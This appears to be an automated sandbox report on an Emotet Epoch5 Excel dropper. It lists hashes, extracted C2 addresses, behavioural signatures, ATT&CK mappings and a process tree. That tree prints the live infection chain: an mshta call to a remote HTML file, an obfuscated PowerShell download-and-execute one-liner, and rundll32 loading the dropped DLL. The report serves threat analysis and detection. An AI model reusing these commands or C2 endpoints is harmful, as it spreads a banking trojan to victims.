emotet | 315802408ec0fb7845845436ceb8a6aac4bb344cd4d8f4c33aae47c719b71993

General

Target

315802408ec0fb7845845436ceb8a6aac4bb344cd4d8f4c33aae47c719b71993.xls
Size

154KB
MD5

02f2895dac8e2bae5d84dc7b60a0fc46
SHA1

0a0084e237bbe3470718a837d6dccaf5fbd2889e
SHA256

315802408ec0fb7845845436ceb8a6aac4bb344cd4d8f4c33aae47c719b71993
SHA512

9e9ede0a2a996d1dbf3026ba3558101967e74dd7e52a1cdd9e25def0280069bc5228270fbe5838f0dc6b799f507d93af07e059f1a196b9ddbbee9b7e904a3b99

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/qqqw/aaas/se.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/qqqw/aaas/se.png

Extracted

Family

emotet

Botnet

Epoch5

C2

159.69.43.124:8080

45.79.80.198:443

207.148.81.119:8080

128.199.192.135:8080

118.98.72.86:443

217.182.143.207:443

168.197.250.14:80

116.124.128.206:8080

78.46.73.125:443

185.148.168.15:8080

195.154.146.35:443

85.214.67.203:8080

194.9.172.107:8080

59.148.253.194:443

210.57.209.142:8080

54.38.242.185:443

195.77.239.39:8080

159.69.237.188:443

104.131.62.48:8080

62.171.178.147:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3612	3716	cmd.exe	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 6 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

24 3188 mshta.exe
38 3176 powershell.exe
41 3176 powershell.exe
43 3176 powershell.exe
45 3176 powershell.exe
55 3592 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

3916 rundll32.exe
3268 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Odectqhfpnz\zxrurmezhbyg.fqs rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2076 3188 WerFault.exe mshta.exe

flow	pid	process
24	3188	mshta.exe
38	3176	powershell.exe
41	3176	powershell.exe
43	3176	powershell.exe
45	3176	powershell.exe
55	3592	rundll32.exe

pid	process
3916	rundll32.exe
3268	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Odectqhfpnz\zxrurmezhbyg.fqs	rundll32.exe

pid	pid_target	process	target process
2076	3188	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3716 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

WerFault.exepowershell.exerundll32.exe

pid	process
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
3176	powershell.exe
3176	powershell.exe
3176	powershell.exe
3592	rundll32.exe
3592	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

WerFault.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2076 WerFault.exe
Token: SeDebugPrivilege 3176 powershell.exe

description	pid	process
Token: SeDebugPrivilege	2076	WerFault.exe
Token: SeDebugPrivilege	3176	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
3716	EXCEL.EXE
3716	EXCEL.EXE
3716	EXCEL.EXE
3716	EXCEL.EXE
3716	EXCEL.EXE
3716	EXCEL.EXE
3716	EXCEL.EXE
3716	EXCEL.EXE
3716	EXCEL.EXE
3716	EXCEL.EXE
3716	EXCEL.EXE
3716	EXCEL.EXE
3716	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 3716 wrote to memory of 3612	3716	EXCEL.EXE	cmd.exe
PID 3716 wrote to memory of 3612	3716	EXCEL.EXE	cmd.exe
PID 3612 wrote to memory of 3188	3612	cmd.exe	mshta.exe
PID 3612 wrote to memory of 3188	3612	cmd.exe	mshta.exe
PID 3188 wrote to memory of 3176	3188	mshta.exe	powershell.exe
PID 3188 wrote to memory of 3176	3188	mshta.exe	powershell.exe
PID 3176 wrote to memory of 1712	3176	powershell.exe	cmd.exe
PID 3176 wrote to memory of 1712	3176	powershell.exe	cmd.exe
PID 1712 wrote to memory of 3916	1712	cmd.exe	rundll32.exe
PID 1712 wrote to memory of 3916	1712	cmd.exe	rundll32.exe
PID 1712 wrote to memory of 3916	1712	cmd.exe	rundll32.exe
PID 3916 wrote to memory of 3268	3916	rundll32.exe	rundll32.exe
PID 3916 wrote to memory of 3268	3916	rundll32.exe	rundll32.exe
PID 3916 wrote to memory of 3268	3916	rundll32.exe	rundll32.exe
PID 3268 wrote to memory of 3620	3268	rundll32.exe	rundll32.exe
PID 3268 wrote to memory of 3620	3268	rundll32.exe	rundll32.exe
PID 3268 wrote to memory of 3620	3268	rundll32.exe	rundll32.exe
PID 3620 wrote to memory of 3592	3620	rundll32.exe	rundll32.exe
PID 3620 wrote to memory of 3592	3620	rundll32.exe	rundll32.exe
PID 3620 wrote to memory of 3592	3620	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\315802408ec0fb7845845436ceb8a6aac4bb344cd4d8f4c33aae47c719b71993.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3716

C:\Windows\SYSTEM32\cmd.exe
cmd /c mshta http://91.240.118.168/qqqw/aaas/se.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3612

C:\Windows\system32\mshta.exe
mshta http://91.240.118.168/qqqw/aaas/se.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:3188

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/qqqw/aaas/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3176

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
5⤵
- Suspicious use of WriteProcessMemory
PID:1712

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3916

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3268

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Odectqhfpnz\zxrurmezhbyg.fqs",XzWIlQACkMagc
8⤵
- Suspicious use of WriteProcessMemory
PID:3620

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Odectqhfpnz\zxrurmezhbyg.fqs",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:3592

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 3188 -s 1920
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2076

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\QWER.dll
MD5
2c05321ef3ac468ec85717080ed0094c

SHA1
dc7ac78ce5d32d6716cc7aa2c34f829d1d34f68e

SHA256
1bd58cb752abdb6f374c52f190b463628d3efacade6db9ff6af8afea2f47247d

SHA512
0f70c4ebe9b95ef8534d0631f1242df74365c6c9342f61b8bc9c5c1d3b3b55a6e59dde77a900bc1b8e0033447f747c772b25061948ba816286f3186a8e6e86d7

Download Submit
\ProgramData\QWER.dll
MD5
2c05321ef3ac468ec85717080ed0094c

SHA1
dc7ac78ce5d32d6716cc7aa2c34f829d1d34f68e

SHA256
1bd58cb752abdb6f374c52f190b463628d3efacade6db9ff6af8afea2f47247d

SHA512
0f70c4ebe9b95ef8534d0631f1242df74365c6c9342f61b8bc9c5c1d3b3b55a6e59dde77a900bc1b8e0033447f747c772b25061948ba816286f3186a8e6e86d7

Download Submit
\ProgramData\QWER.dll
MD5
2c05321ef3ac468ec85717080ed0094c

SHA1
dc7ac78ce5d32d6716cc7aa2c34f829d1d34f68e

SHA256
1bd58cb752abdb6f374c52f190b463628d3efacade6db9ff6af8afea2f47247d

SHA512
0f70c4ebe9b95ef8534d0631f1242df74365c6c9342f61b8bc9c5c1d3b3b55a6e59dde77a900bc1b8e0033447f747c772b25061948ba816286f3186a8e6e86d7

Download Submit
memory/3176-296-0x0000018B3C590000-0x0000018B3C592000-memory.dmp

Filesize
8KB

Download
memory/3176-279-0x0000018B547A0000-0x0000018B547C2000-memory.dmp

Filesize
136KB

Download
memory/3176-297-0x0000018B3C593000-0x0000018B3C595000-memory.dmp

Filesize
8KB

Download
memory/3176-300-0x0000018B54920000-0x0000018B5495C000-memory.dmp

Filesize
240KB

Download
memory/3176-312-0x0000018B54E90000-0x0000018B54F06000-memory.dmp

Filesize
472KB

Download
memory/3176-319-0x0000018B3C596000-0x0000018B3C598000-memory.dmp

Filesize
8KB

Download
memory/3268-338-0x0000000005320000-0x0000000005347000-memory.dmp

Filesize
156KB

Download
memory/3268-336-0x0000000005240000-0x0000000005267000-memory.dmp

Filesize
156KB

Download
memory/3268-333-0x0000000004BF0000-0x0000000004C17000-memory.dmp

Filesize
156KB

Download
memory/3268-346-0x00000000056F0000-0x0000000005717000-memory.dmp

Filesize
156KB

Download
memory/3268-344-0x0000000005540000-0x0000000005567000-memory.dmp

Filesize
156KB

Download
memory/3268-342-0x00000000054E0000-0x0000000005507000-memory.dmp

Filesize
156KB

Download
memory/3268-340-0x0000000005480000-0x00000000054A7000-memory.dmp

Filesize
156KB

Download
memory/3592-352-0x0000000005080000-0x00000000050A7000-memory.dmp

Filesize
156KB

Download
memory/3592-349-0x0000000004940000-0x0000000004967000-memory.dmp

Filesize
156KB

Download
memory/3592-362-0x00000000054F0000-0x0000000005517000-memory.dmp

Filesize
156KB

Download
memory/3592-360-0x0000000005400000-0x0000000005427000-memory.dmp

Filesize
156KB

Download
memory/3592-354-0x0000000005160000-0x0000000005187000-memory.dmp

Filesize
156KB

Download
memory/3716-119-0x00007FF969B20000-0x00007FF969B30000-memory.dmp

Filesize
64KB

Download
memory/3716-118-0x00007FF969B20000-0x00007FF969B30000-memory.dmp

Filesize
64KB

Download
memory/3716-115-0x00007FF969B20000-0x00007FF969B30000-memory.dmp

Filesize
64KB

Download
memory/3716-117-0x00007FF969B20000-0x00007FF969B30000-memory.dmp

Filesize
64KB

Download
memory/3716-398-0x00007FF969B20000-0x00007FF969B30000-memory.dmp

Filesize
64KB

Download
memory/3716-116-0x00007FF969B20000-0x00007FF969B30000-memory.dmp

Filesize
64KB

Download
memory/3716-128-0x00007FF966FD0000-0x00007FF966FE0000-memory.dmp

Filesize
64KB

Download
memory/3716-395-0x00007FF969B20000-0x00007FF969B30000-memory.dmp

Filesize
64KB

Download
memory/3716-396-0x00007FF969B20000-0x00007FF969B30000-memory.dmp

Filesize
64KB

Download
memory/3716-397-0x00007FF969B20000-0x00007FF969B30000-memory.dmp

Filesize
64KB

Download
memory/3716-129-0x00007FF966FD0000-0x00007FF966FE0000-memory.dmp

Filesize
64KB

Download
memory/3916-330-0x0000000004450000-0x0000000004477000-memory.dmp

Filesize
156KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads